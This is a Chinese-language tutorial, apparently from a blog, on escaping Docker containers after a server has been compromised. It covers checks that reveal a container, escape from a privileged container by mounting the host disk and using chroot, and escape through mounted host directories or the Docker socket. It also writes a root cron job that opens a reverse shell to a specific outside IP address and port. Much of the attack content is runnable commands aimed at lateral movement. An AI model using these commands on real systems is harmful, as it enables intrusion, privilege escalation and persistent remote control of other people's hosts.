如何将容器逃逸学习应用于复杂场景?

摘要:原理 运在宿主机上的容器;拥有超出自身进程应有的权限;逃逸到宿主机;执行操作。 背景 在拿下一台服务器之后,我们会遇到“服务器即容器”的情况。为了能够深入或横向渗透,我们常常需要进行容器逃逸和容器的隔离限制 如何判断当前机器是否为Docke
原理 运在宿主机上的容器;拥有超出自身进程应有的权限;逃逸到宿主机;执行操作。 背景 在拿下一台服务器之后,我们会遇到“服务器即容器”的情况。为了能够深入或横向渗透,我们常常需要进行容器逃逸和容器的隔离限制 如何判断当前机器是否为Docker 容器环境 1.检查根目录下是否存在.dockerenv文件 ls -al .dockerenv 2.检查/proc/1/cgroup是否存在含有docker字符串! cat /proc/1/cgroup |grep docker 逃逸操作 1.Docker 高危启动参数 -- privileged 特权模式启动容器 特权模式启动的参数 当操作者执行docker run --privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。 fdisk 查看自盘文件 在特权模式下,逃逸的方式很多,比如:直接在容器内部挂载宿主机磁盘,然后切换根目录。 新建一个目录:mkdir /test 挂载磁盘到新建目录:mount /dev/vda1 /test 切换根目录:chroot /test 到这里已经成功逃逸了,然后就是常规的反弹shell 和 写 SSH 了(和redis未授权差不多)。 写计划任务,反弹宿主机Shell。 echo '* * * * * /bin/bash -i >& /dev/tcp/39.106.51.35/1234 0>&1' >> /test/var/spool/cron/crontabs/root 这个命令的作用是在目标系统的 root 用户的 cron 任务中添加一个定时任务,每分钟执行一次。这个任务会启动一个交互式的 bash shell,并将其输入输出重定向到远程服务器(IP 地址为 39.106.51.35,端口为 1234),从而实现远程控制目标系统的目的 先挂载到宿主机根目录 可以参考写入SSH 公钥:https://www.cnblogs.com/Hi-blog/p/9482418.html 2.危险挂载导致Docker 逃逸 挂载目录(-v /:/soft) docker run -itd -v /dir:/dir ubuntu:18.04 /bin/bash 挂载Docker Socket Docker采用C/S架构,我们0平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间通信方式有以下3种: unix:///var/run/docker.sock(默认 tcp://host:port fd://socketfd Docker Socket是Docker守护进程监听的Unix域套接字,用来与守护进程通信——查询信息或下发命令。 逃逸复现: 1.首先创建一个容器并挂载/var/run/docker.sock; docker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntu 2.在该容器内安装Docker命令行客户端; apt-update apt-get install \ apt-transport-https \ ca-certificates \ curl \ gnupg-agent \ software-properties-common curl -fsSLhttps://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg| apt-key add - apt-key fingerprint 0EBFCD88 add-apt-repository \ "deb [arch=amd64]https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/\ $(lsb_release -cs) \ stable" apt-get update apt-get install docker-ce docker-ce-cli containerd.io 3.接着使用该客户端通过Docker Socket与Docker守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建容器的host 目录;docker run -it -v /:/host ubuntu:18.04 /bin/bash 以这种方式,创建的容器,可以执行命令直接改在到宿主机。
阅读全文